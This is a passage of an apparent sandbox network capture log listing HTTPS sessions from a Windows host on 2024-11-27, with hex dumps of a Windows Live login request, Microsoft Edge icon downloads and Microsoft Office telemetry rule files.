54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49848	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 15:34:50 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:51 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:51 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_BL2 x-ms-request-id: 70fb5b5e-0a15-40e7-b45d-d6fdd4b25181 PPServer: PPV: 30 H: BL02EPF0001D6E2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:50 GMT Connection: close Content-Length: 11389
2024-11-27 15:34:51 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49854	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:51 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:51 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:51 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: ceb59830-a01e-0025-1ec6-40f0b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153451Z-174f78459685m244hC1EWRgp2c0000000wxg00000000gbxg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49850	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:51 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:51 UTC	522	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 0bea2c01-401e-0042-507f-404313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153451Z-174f7845968ljs8phC1EWRe6en0000000x100000000069t8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49852	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:51 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:51 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b9c5c0e5-901e-0069-057f-4037ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153451Z-174f7845968kdththC1EWRzvxn00000009gg00000000853h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:51 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49851	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:51 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:51 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:51 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 843d88b3-801e-005f-1a7f-409af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153451Z-174f7845968psccphC1EWRuz9s0000000xd0000000009auh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:51 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.7	49853	13.107.246.40	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:51 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:52 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:51 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: a65945c5-601e-001a-287f-404768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153451Z-174f78459685726chC1EWRsnbg0000000x3g00000000m23v Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 15:34:52 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:52 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153452Z-174f78459684bddphC1EWRbht40000000wyg000000002b0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:52 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:52 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:52 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153452Z-174f7845968psccphC1EWRuz9s0000000xc000000000cgyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:52 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:52 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6b17fc2f-301e-006e-0e9b-40f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153452Z-174f7845968px8v7hC1EWR08ng0000000xa000000000mq5h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:52 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:52 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153452Z-174f7845968kdththC1EWRzvxn00000009d000000000mef0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:52 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
